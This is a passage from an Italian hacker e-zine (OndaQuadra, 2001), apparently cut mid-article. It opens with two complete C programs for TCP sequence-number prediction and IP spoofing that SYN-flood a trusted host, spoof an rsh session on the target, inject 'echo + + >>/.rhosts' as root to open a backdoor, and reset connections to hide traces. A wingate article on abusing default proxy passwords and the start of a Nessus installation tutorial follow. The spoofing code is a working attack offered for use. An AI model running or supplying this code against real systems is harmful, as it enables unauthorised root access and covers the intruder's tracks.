if ((he=gethostbyname(argv[2]))==NULL) {
targ_addr=inet_addr(argv[2]);
if (targ_addr==(u_long)-1) {
fprintf(stderr, "Unknown host %s\n", argv[2]);
exit(1);
}
} else
bcopy(he->h_addr, &targ_addr, 4);

printf("Initializing Packet Filter\n");
use_best(); /* Use the best packet filter available on this system */
if (init_filter("tcp", NULL)) {
/* Initialize the packet filter and read only TCP packets */
fprintf(stderr, "Can't init Packet Filter\n");
exit(1);
}

/* First, send NUMSEQUENCE connection requests from BADHOST to the
* trusted host on a trusted port (currently 513). Trusted host will
* attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
* be a response ACK. Consequently, trusted host's connection queue will
* fill and it will no longer respond to any packets to port 513.
*/


printf("[Hosing Trusted Host...]\n");
if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
fprintf(stderr, "Couldn't hose %s\n", argv[1]);
exit(1);
}

/* Next, do a sampling of the difference in sequence numbers. These packets
* are NOT spoofed as receiving the reply is required. Consequently, this
* host can appear in any packet traces.
*/

printf("[Determining sequence numbers...]\n");
if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
exit(1);
}

printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);

/* Next, do the actual spoofed connection, now that we know what the next
* sequence number will be.
*/

printf("[Spoofing Connection...]\n");
if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
exit(1);
}

/* Finally, reset all of the half started connections on trusted-host.
* This will put trusted-host back into it's normal state (and hide
* the traces that it was used for evil.
*/

printf("[Cleaning Up Trusted Mess...]\n");
if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
exit(1);
}

/* fin */
exit(0);
}

hose_trusted(trust_host, trust_addr, seq_num, port_num)
char *trust_host;
u_long trust_addr;
u_long seq_num[NUMSEQUENCE];
u_short port_num[NUMSEQUENCE];
{
int i;
u_long start_seq=49358353+getpid(); /* Make this anything you want */
u_long start_port=600; /* Make this anything you want */
struct ether_header eh;
u_long bad_addr;

/* First attempt to find the hardware address of the trusted host */
if (ether_hostton(trust_host, &eh.ether_dhost)) {
/* If that fails, find the hardware address of the router */
if (ether_hostton(ROUTER, &eh.ether_dhost)) {
fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
return(1);
}
}
eh.ether_type=ETHERTYPE_IP;

if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
fprintf(stderr, "Can't convert BADHOST address.\n");
return(1);
}

/* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
* are:
* sendtcppacket_simple(
* struct ether_addr source_hardware_address,
* struct ether_addr destination_hardware_address,
* u_long source_ip_address,
* u_long destination_ip_address,
* u_short source_port,
* u_short destination_port,
* u_long sequence_number,
* u_long acknowldegement_number,
* int TCP flags (SYN, RST, ACK, PUSH, FIN),
* char * data,
* int datalen)
*/

for (i=0;i<NUMSEQUENCE;i++) {
port_num[i]=start_port++; /* record the ports and sequence numbers */
seq_num[i]=start_seq++; /* for later reseting */

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
bad_addr, trust_addr,
port_num[i], 513, /* 513 is rlogin/rsh port */
seq_num, 0,
TH_SYN, NULL, 0);
}
return(0);
}

jmp_buf env;

void timedout()
{
longjmp(env, 1);
}

determine_sequence(targ_host, targ_addr, next_seq, offset)
char *targ_host;
u_long targ_addr, *next_seq, *offset;
{
struct hostent *he;
struct ether_header eh, eh2;
struct ip iph;
struct tcphdr tcph;
int i;
u_long start_seq=4138353+getpid(); /* Make this anything you want */
u_long start_port=600; /* Make this anything you want */
u_long my_addr;
char buf[80];
u_long prev_seq=0, diff=0;

*offset=0;
/* first attempt to get the destination's hardware address */
if (ether_hostton(targ_host, &eh.ether_dhost)) {
/* If that fails, get the router's hardware address */
if (ether_hostton(ROUTER, &eh.ether_dhost)) {
fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
return(1);
}
}
eh.ether_type=ETHERTYPE_IP;

gethostname(buf, 79);
if ((he=gethostbyname(buf))==NULL) {
fprintf(stderr, "Can't get my hostname!?\n");
return(1);
}
bcopy(he->h_addr, &my_addr, 4);
for (i=0;i<NUMTESTS;i++) {
/* Do a setjmp here for timeouts */
if (setjmp(env))
fprintf(stderr, "Response Timed out... Resending...\n");
signal(SIGALRM, timedout);
alarm(0);
alarm(10); /* Wait 10 seconds for reply */
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
my_addr, targ_addr,
start_port, 514, /* 514 is rsh port */
start_seq, 0,
TH_SYN, NULL, 0);
/* Send connection request packet */

for (;;) {
/* Wait until the reply is received. Arguments for readpacket
* are:
* readpacket(
* struct fddi_header fddi_header,
* struct ether_header ether_header,
* struct ip ip_header,
* struct udphdr udp_header,
* struct tcphdr tcp_header,
* char * data,
* int datalen)
*
* return type is the type of packet read
*/


while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
PTYPE_IP_TCP) ;
if (ntohs(tcph.th_dport)==start_port &&
ntohs(tcph.th_sport)==514) {
/* If the ports match, it's probably a reply--this isn't
* definite, but it's a pretty good guess .
* The following attempts to generate a reliable sequence.
* Actually, it's pretty dumb. It tries 10 times, then takes
* the last result. Generally, I've found this to work well
* enough to warrant not writing anything smarter.
*/

if (prev_seq) {
diff=tcph.th_seq-prev_seq;
printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
tcph.th_seq, diff);
} else
diff=0;
if (*offset==0)
*offset=diff;
else {
if (*offset!=diff)
printf("Difference in Offset: old=%u, new=%u\n",
*offset, diff);
*offset=diff;
}
prev_seq=tcph.th_seq;
sendtcppacket_simple(
&(eh.ether_shost), &(eh.ether_dhost),
my_addr, targ_addr,
start_port++, 514,
start_seq++, 0,
TH_RST, NULL, 0);
/* Send a reset to close the connection. Note, this
* automatically will be sent by localhost unless
* a service is listening on whatever port you've
* chosen to start with at the top of this routine.
* so I reset it anyway
*/

break; /* out of infinite for */
}
} /* of infinite for */
alarm(0);
} /* for i=0 i<numtests... */
*next_seq=prev_seq+*offset;
return(0);
}

spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
u_long trust_addr, targ_addr, next_seq;
{
struct ether_header eh;
char buf[80];
struct hostent *he;
u_long my_addr;
u_short port=513;
char *string="0\0root\0root\0echo + + >>/.rhosts\0";
int stringlen=32;
u_long seq=385773357;
int i;

/* As before, get the target's hardware address */
if (ether_hostton(targ_host, &eh.ether_dhost)) {
/* If that fails, get the router's hardware address */
if (ether_hostton(ROUTER, &eh.ether_dhost)) {
fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
return(1);
}
}
eh.ether_type=ETHERTYPE_IP;

/* Send a syn with our own sequence number */
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq++, 0,
TH_SYN, NULL, 0);
usleep(5000); /* wait for the other side to SYN,ACK */

/* Send the ACK for the sequence number we guessed. I've found we guess
* right about 90% of the time
*/

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq, ++next_seq,
TH_ACK, NULL, 0);

/* Now, send our rsh request with the proper sequence and ACK nubmers */
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq, next_seq,
TH_ACK, string, stringlen);
seq+=stringlen;

sleep(1); /* Wait for it to be received, ACKd, and processed */
/* Send a fin with the our new sequence number and their sequence number */
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq, next_seq,
TH_FIN, NULL, 0);

for (i=1;i<4;i++) { /* Send a bunch of ACKs */
/* If we screwed up the guessing the correct sequence number the remote
* host is using, guess a whole bunch more just to be sure. We could
* probably reset the connection, but it's better to have the
* net software hang waiting for a proper FIN/ACK than have the
* application that we've spoofed into running exit because we
* reset the connection.
*/

sleep(2);
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq+1, next_seq+i,
TH_ACK, NULL, 0);
}
usleep(50000); /* Finally, send a RST */
/* Now, if we're really screwed, and ~8 seconds later we haven't guessed
* the right sequence number, just reset the connection. Hopefully by now
* the application has done it's job, so resetting shouldn't cause any
* problems.
*/

sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr,
port, 514,
seq+1, next_seq+4,
TH_RST, NULL, 0);

return(0);
}

reset_trusted(trust_host, trust_addr, seq_num, port_num)
u_long trust_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
{
struct ether_header eh;
u_long bad_addr;
int i;

if (ether_hostton(trust_host, &eh.ether_dhost)) {
if (ether_hostton(ROUTER, &eh.ether_dhost)) {
fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
return(1);
}
}
eh.ether_type=ETHERTYPE_IP;

if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
fprintf(stderr, "Can't convert BADHOST address.\n");
return(1);
}

/* Reset all of the connections we started before */
for (i=0;i<NUMSEQUENCE;i++) {
sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
bad_addr, trust_addr,
port_num[i], 513,
seq_num[i], 0,
TH_RST, NULL, 0);
}
return(0);
}






-------------------------------------------------------------------------------------

/* Under Solaris try:
gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb
*/


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/ip.h>
#ifdef sun
#include <netinet/tcp.h>
#else /* Linux */
#include <netinet/ip_tcp.h>
#endif
#include <errno.h>
#include <netdb.h>

#ifdef sun
struct iphdr {
u_char version:4, /* version */
ihl:4; /* header length */
u_char tos; /* type of service */
short tot_len; /* total length */
u_short id; /* identification */
short frag_off; /* fragment offset field */
u_char ttl; /* time to live */
u_char protocol; /* protocol */
u_short check; /* checksum */
unsigned long saddr, daddr; /* source and dest address */
};
#endif

/*
* Pinched from ping.c
* -------------------
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}

inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
{
struct iphdr *ip;
struct tcphdr *tcp;
int len=-1;

printf("-------------------------------------------------------------------------------\n");
/* IP */
printf("Packet Size = %d\n",r);
addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
ip = (struct iphdr *) buf;
len = ip->ihl << 2;
printf("IP Header\n");
printf("---------\n");
printf("length %d, version %d\n",len,ip->version);
printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off),
ip->ttl, ip->protocol);
printf("check %d\n",ntohs(ip->check));
printf("IPFrom %s, ",inet_ntoa(ip->saddr));
printf("IPTo %s\n",inet_ntoa(ip->daddr));

/* TCP */
tcp = (struct tcphdr *) (buf + len);

printf("TCP Header\n");
printf("----------\n");
printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
ntohs(tcp->th_sport), ntohs(tcp->th_dport),
ntohl(tcp->th_seq), ntohl(tcp->th_ack));
printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);

printf("Flags");
if (!tcp->th_flags)
printf(" none");
else {
if (tcp->th_flags & TH_FIN)
printf(" FIN");
if (tcp->th_flags & TH_SYN)
printf(" SYN");
if (tcp->th_flags & TH_RST)
printf(" RST");
if (tcp->th_flags & TH_PUSH)
printf(" PUSH");
if (tcp->th_flags & TH_ACK)
printf(" ACK");
if (tcp->th_flags & TH_URG)
printf(" URG");
}
printf(".\n");
printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp));
}

inline void gettcppacket(int s, char *buf, int size)
{
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;
int len, r;

len = sizeof(addr);
if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) {
perror("recvfrom");
fprintf(stderr,"error: recvfrom returned %d\n",r);
exit(1);
}

/*
printtcppacket(r,buf,&addr);
*/


}

inline void sendtcppacket(int s, unsigned long src, unsigned long dest,
struct sockaddr_in *addr,
unsigned char flags, unsigned short sport, unsigned short dport,
unsigned long seqnum, unsigned long acknum, char *data, int datalen)
{

struct iphdr ip;
struct tcphdr tcp;
static char packet[4096];
char tcpbuf[4096];
char *ptr;
unsigned short size=0;

ip.ihl = 5;
ip.version = 4;
ip.tos = 0;
ip.tot_len = htons(40 + datalen);
ip.id = htons(666+(rand()%100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_TCP;
ip.check = 0;
ip.saddr = src;
ip.daddr = dest;

ip.check = in_cksum((char *)&ip,sizeof(ip));

tcp.th_sport = htons(sport);
tcp.th_dport = htons(dport);
tcp.th_seq = htonl(seqnum);
tcp.th_ack = htonl(acknum);
tcp.th_x2 = 0;
tcp.th_off = 5;
tcp.th_flags = flags;
tcp.th_win = htons(10052);
tcp.th_sum = 0;
tcp.th_urp = 0;

/* Add in a pseudo IP header */
memset(tcpbuf,0,4096);
ptr = tcpbuf;
memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
ptr += 9; /* Skip the 0 field */
memcpy(ptr,&(ip.protocol),1);
ptr += 1;
size = htons(datalen + sizeof(tcp));
memcpy(ptr,&(size),2);
ptr += 2;
memcpy(ptr,&tcp,sizeof(tcp)+datalen);

tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);

memcpy(packet,(char *)&ip,sizeof(ip));
memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);

/*
printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
*/


if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
(struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) {
perror("sendto");
exit(1);
}

}

void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
struct sockaddr_in *addr,
unsigned long *next_seq, unsigned long *offset)
{
struct iphdr *ip;
struct tcphdr *tcp;
int i, len;
unsigned long start_seq=4321965+getpid();
unsigned long start_port=600;
char buf[4096];
unsigned long prev_seq=0, diff=0;

*offset=0;

for (i=0;i<10;i++) {
sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0);

for (;;) {
gettcppacket(r,buf,sizeof(buf));
ip = (struct iphdr *) buf;
if (ip->saddr != dest)
continue;
/*
printtcppacket(sizeof(buf),buf,addr);
*/

len = ip->ihl << 2;
tcp = (struct tcphdr *) (buf+len);
if (ntohs(tcp->th_dport)==start_port &&
ntohs(tcp->th_sport)==514) {
if (prev_seq) {
diff=tcp->th_seq-prev_seq;
printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
tcp->th_seq, diff);
} else
diff=0;
if (*offset==0)
*offset=diff;
else {
if (*offset!=diff)
printf("Difference in Offset: old=%u, new=%u\n",
*offset, diff);
*offset=diff;
}
prev_seq=tcp->th_seq;
sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq++,0,NULL,0);
break; /* out of for loop */
}
}
}
*next_seq=prev_seq+*offset;
}

void spoof(int s, unsigned long src, unsigned long dest,
struct sockaddr_in *addr, unsigned long next_seq)
{
char buf[4096];
unsigned short port=513;
/*char *string="0\0root\0root\0echo + + >>/.rhosts\0";
int stringlen=32;*/

char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0";
int stringlen=39;
u_long seq=54378435;
int i;

/* Send a syn with our own sequence number */
sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0);
usleep(5000); /* wait for the other side to SYN,ACK */

sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0);

sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen);
seq+=stringlen;

sleep(1);
sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0);

for (i=1;i<4;i++) {
sleep(2);
sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0);
}
usleep(50000);

sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0);
}

void reset_trusted(int s, unsigned long src, unsigned long dest,
struct sockaddr_in *addr,
unsigned long seq_num[80], unsigned long port_num[80])
{
int i;

for (i=0;i<80;i++)
sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0);
}

void hose_trusted(int s, unsigned long src, unsigned long dest,
struct sockaddr_in *addr,
unsigned long seq_num[80], unsigned long port_num[80])
{
int i;
unsigned long start_seq=78156767+getpid();
unsigned long start_port=600;

for (i=0;i<80;i++) {
port_num[i]=start_port++;
seq_num[i]=start_seq++;
sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0);
}
}

void main(int argc, char *argv[])
{

int rec, sen, i=1;
unsigned char buf[4096];
struct sockaddr_in addr, trustedaddr, bogusaddr;
char *bogusname = "19.17.14.17";
unsigned long dest, bogus, trusted, src, nseq, offset;
struct hostent *host;
unsigned long seq_num[80], port_num[80];

if (argc != 3) {
fprintf(stderr,"Usage: %s trusted target\n",argv[0]);
exit(1);
}

memset(&trustedaddr,0,sizeof(trustedaddr));
trustedaddr.sin_family = AF_INET;
if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
if ((host = gethostbyname(argv[1])) == NULL) {
printf("Unknown host %s.\n",argv[1]);
exit(1);
}
trustedaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host->h_length);
}
printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr));
memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4);

memset(&addr,0,sizeof(addr));
addr.sin_family = AF_INET;
if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) {
if ((host = gethostbyname(argv[2])) == NULL) {
printf("Unknown host %s.\n",argv[2]);
exit(1);
}
addr.sin_family = host->h_addrtype;
memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
}
printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr));
memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);

if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
perror("error: recv socket");
exit(1);
}

if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: send socket");
exit(1);
}

#ifdef IP_HDRINCL
fprintf(stderr,"IP_HDRINCL is set\n");
if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
perror("setsockopt IP_HDRINCL");
exit(1);
};
#endif

gethostname(buf, 128);
if ((host=gethostbyname(buf))==NULL) {
fprintf(stderr, "Can't get my hostname!?\n");
exit(1);
}
memcpy(&src,host->h_addr,4);

bogusaddr.sin_family = AF_INET;
bogusaddr.sin_addr.s_addr = inet_addr(bogusname);
memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4);

hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);

determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset);

printf("Next sequence number is: %u, offset is: %u\n", nseq, offset);

spoof(sen,trusted,dest,&trustedaddr,nseq);

reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);

}
-------------------------------------------------------taglia qui-----------------------------------
Ke devo dire;) spero di essere stato kiaro e buon ip spoofing;D

DarkAngel999

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #02 - 18/06/2001 |
| USARE WiNGATE ........................................... [Weisses] 0x0E/0x25 |
+-------------------------------------------------------------------------------+

L' ultima volta ci siamo lasciati parlando di networking, networking alle radici oserei dire,
forse qualcuno si stara' domandando: ma come mai weisses ci parla di reti partendo da livelli
bassissimi e non di sniffer o roba varia?
semplice, sono fatti miei :)
a parte gli scherzi, lo faccio per dei semplici motivi, quando parlo di un argomento mi piace
trattarlo dalla radice in maniera da far concatenare il tutto, secondo, un buon 70% degli
attacchi avvengono su rete lan locale o internet che sia, ma sempre e comunque su rete, un
banale esempio di attacco ad una rete e' quello ad un server aziendale, il quale viene quasi sempre
colpito attacccando prima un suo client, ma forse e' meglio spiegare tutto meglio, prima di farlo pero'
voglio portare a termine quello che ho scritto nel precedente numero.
Abbiamo detto come configurare una piccola lan e fin quì tutto ok, resta solo un piccolo particolare,
dopo aver condiviso hard disk, stampanti e cartelle varie che ne direste di usare un solo modem per
connetterci ad internet?
A meno che non siate disposti a spendere fior di soldini per un router eccovi le possibili
alternative.
La seguente procedura vi consiglio di farla su un server Nt, 2000 o xp come attualmente io sto'
facendo.
Dopo aver configurato il nostro server come precedentemente detto, avergli assegnato il suo ip
(192.168.0.1) e condiviso tutto il necessario, andiamo a creare la nostra connessione ad internet.
Presumiamo di avere configurato l' accesso ad internet sul server, dirigiamoci sui client per far si
che questi ultimi possano connettersi ad internet tramite il modem installato sul server, clicchiamo col destro
su risorse di rete>proprieta' e poi sul protocollo tcp/ip, a questo punto possiamo agire in due modi differenti,
il piu' semplice e' quello di deselezionare l' ip che avevamo assegnato e attivare la casella ottieni
indirizzo ip automaticamente, in questo modo tutte le macchine concatenate al server avranno un
indirizzo ip sequenziale, torniamo quindi sul server ed entriamo nelle proprieta' della connessione
internete su avanzate abilitiamo la casella di condivisione della connessione, a questo punto,
cliccando sull' icone di explorer o netscape da qualsiasi client si potra' accedere ad internet.
Lo stesso risultato lo otterremo facendo tutti gli stessi passaggi descritti, tranne quello per l' indirizzo ip
dei client, ovvero, lasceremo loro assegnato il relativo ip ed assegnando nella casella gateway
l' indirizzo ip del server, quest' ultima procedura devo dire che almeno a me a creato qualche problemino
di stabilita', consiglio pertanto di usare la prima descritta.
Attenzione, la possibilita' di condividere la connessione e' fattibile solo da win98 se in su, per
gli utenti di win 95 (esiste ancora qualcuno?) o per chi dei sistemi Microsoft non ne vuol
proprio sapere (bravi) esiste un' utilissimo programma\i:

I WINGATE

Eccoci al nocciolo dell' articolo, cos'e' un wingate?
Un Wingate, e' un programma o meglio una categoria di programmi che consentono di interagire e condividere funzionalita'
fra vari pc di una stessa rete.
Conosciamo molti wingate piu' o meno buoni reperibili facilimente in internete altrettanto
facilmente "astavistabili", i migliori comunque rimangono winproxy e lo stesso wingate appunto, la particolarita
principale di questi programmi e' appunto quella di consentire a piu' pc di utilizzare un solo modem per connettersi
a internet senza dover utilizzare le risorse microsoft ma fungono anche da proxy e questo non e' poco, serve anche
a dimostrarci come una cosa utile e legale possa essere usata per scopi utilissimi ed illegali :D
Configurare ed installare un wingate, nel nostro esempio win proxy, e' facilissimo, basta installare il programma in
oggetto su una delle macchine della rete, non necessariamente il server,l' importante che sia la macchina con il modem,
fatto questo inseriremo nel programma l' ip della macchina proprietaria del modem e di quelle autorizzate,
spostandoci sulle restanti macchine, andremo su: pannello di controllo>opzioni internet>connessioni>impostazioni lan
ed abiliteremo l' opzione utilizza server proxy, nel quale andrtemo a scrivere ip e porta del pc col modem, di
default la porta e' la 3128 o la 8080, ma potremo tranquillamente variarla, cosa che quasi nessuno fa' (male).
Questo e' quello che praticamente va a succedere, ci colleghiamo ad internet filtrandoci per un proxy e' per la gente
comune questo e' normale, fino a che qualcuno non aprofitta della situazione, per mascherarsi e/o per attaccare, vediamo perche'!
La maggior parte di noi, che usiamo il pc non solo per giocare o scaricare mp3, utilizza un proxy per mascherare
almeno in parte il proprio passaggio, se ad esempio io usassi come proxy pippo.pino.net porta 3128, la mia connessione passerebbe
attraverso il pc a cui appartiene il proxy fungendomi cosi' da filtro, non sto' a tirarla sulle lunghe (anche se un articolozzo
sui proxy server non mi dispiacerebbe) per non confondere le idee su quello che e' l' argomento principale di questo articolo.
come dicevo qualche riga fa, solitamente i wingate vengono configurati male, per male non intendo che non funzionino,
intendo che le impostazioni vengono lasciate in modalita' default come ad esempio il numero della porta o la password,
in internet ci sono miriadi di pc appartenenti ad una rete aziendale che girano attraverso wingate mal configurati, questi
sono facile preda di "tipi" che attraverso un client della rete si riescano ad introdurre nel circuito, diventando
client a loro volta semplicemente servendosi di un banale portscan o semplicemente con telnet.
Molti server, sono protetti con password idiote, del tipo 1234, non e' uno scherzo, l' ho constato personalmente
facendo uno scan ad un ip di un noto provider che offre abbonamenti flat, bene la porta era la 8080 e la password 1234,
che bei livelli di sicurezza :D
Questo e' solo un piccolo esempio di cio' che' si puo' combinare grazie ad un wingate, vi assicuro che ci sono migliaia
di cose fattibili, quindi libero sfogo alla vostra fantasia e.... alla prossima
Chuss! ____________wei§§e§____________


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| NETW0RK ANALYZER ................................... [DarkAngel999] 0x0F/0x25 |
+-------------------------------------------------------------------------------+

Intro
Installazione e konfigurazione
Esempi

Intro
Gli analizzatori di rete kome dice la parola stessa sono delle applikazioni ke analizzano un ipotetiko
host in cerka di eventuali falle nella sikurezza, volendo anke un port skanner nel suo pikkolo e' un
analizzatore di rete ma quelli ke mi accingo a spiegarvi oggi sono devi veri e propri analizzatori, ke
nn si limitano ad indikarci eventuali server in esekuzione, difatti questi testano tutte le
vulnerabilita' piu' note fornendoci poi un report dettagliato e kosa piu' importante ci danno delle
vere e proprie spiegazioni per ogni vulnerabilita' trovata, tra i tanti esistenti: satan saint etc.
ho deciso di parlarvi di nessus essendo il mio preferito.

Installazione e konfigurazione
Nessus e' komposto da un klient e da un server, e sebbene il klient ci sia anke per winshit il server
e' disponibile solo per sistemi Unix-like, potrete trovare tutto l'okkorrente al suo sito ufficiale:
http://www.nessus.org prima di installare nessus avrete bisogno dei seguenti file:
nessus-libraries-x.x.tar.gz
libnasl-x.x.tar.gz
nessus-core.x.x.tar.gz
nessus-plugins.x.x.tar.gz
Trovate una lista di ftp dai quali e' possibile skarikarli a questa pagina:
http://www.nessus.org/posix.html una volta skarikati i 4 file sarete pronti per iniziare kon
l'installazione, notate ke al momento in kui skrivo nessus e' arrivato alla versione 1.0.8 quindi al
posto delle x troverete questo numero...tanto per essere kiaro:) iniziamo a gunzippare nessus libraries
$ gunzip nessus-libraries-x.x.tar.gz ora estraiamo l'arkivio:
$ tar -xvf nessusus-libraries-x.x.tar ora entriamo nella kartella appena kreata
$ cd nessus-libraries ora lanciamo il konfigure
$ ./configure ora maikkiamo tutto:D
$ make ora facciamo un su ed eseguiamo il make install
# make install
Ora ripetiamo lo stesso procedimento per libnasl, nessus-core e nessus-plugins.
Una volta installato dovremo dire a nessus ki puo' usarlo, assegnare una password a questo utente specifikare quello ke puo'
fare l'utente etc. possiamo farlo attraverso l'utility nessus-adduser

$ nessus-adduser

Addition of a new nessusd user
------------------------------

Login : dark
Password : kazzotenefrega?:)
Authentification type (cipher or plaintext) [cipher] : cipher
Now enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rule set)
^D

Login : dark
Pssword : kazzotenefrega?:)
Authentification : cipher
Rules :

Is that ok (y/n) ? [y] y

user added.

In questo esempio ho aggiunto l'utente dark senza specifikare alkuna regola in questo modo l'utente dark puo' skannare sia
il server lokale sia gli host remoti.
Ora potremo editare il file di konfigurazione di nessus (/usr/local/etc/nessus/nessusd.conf) ke si presenta kosi':
# Configuration file of the Nessus Security Scanner



# Every line starting with a '#' is a comment

# Path to the security checks folder :
plugins_folder = /nessus/lib/nessus/plugins

# Maximum number of simultaneous tests :
max_threads = 8

# Log file (or 'syslog') :
logfile = /nessus/var/nessus/nessusd.messages

# Shall we log every details of the attack ?
log_whole_attack = yes

# Log the name of the plugins that are loaded by the server ?
log_plugins_name_at_load = no

# Dump file for debugging output, use `-' for stdout
dumpfile = /nessus/var/nessus/nessusd.dump

# Rules file :
rules = /nessus/etc/nessus/nessusd.rules

# Users database :
users = /nessus/etc/nessus/nessusd.users

# CGI paths to check for (cgi-bin:/cgi-aws:/ can do)
cgi_path = /cgi-bin

# Range of the ports nmap will scan :
port_range = 1-15000

# Optimize the test (recommanded) :
optimize_test = yes

# Language of the plugins :
language = english

# Crypto options :
negot_timeout = 600
peks_username = nessusd
peks_keylen = 1024
peks_keyfile = /nessus/etc/nessus/nessusd.private-keys
peks_usrkeys = /nessus/etc/nessus/nessusd.user-keys
peks_pwdfail = 5
track_iothreads = yes
cookie_logpipe = /nessus/etc/nessus/nessusd.logpipe
cookie_logpipe_suptmo = 2
force_pubkey_auth = yes


# Optimization :
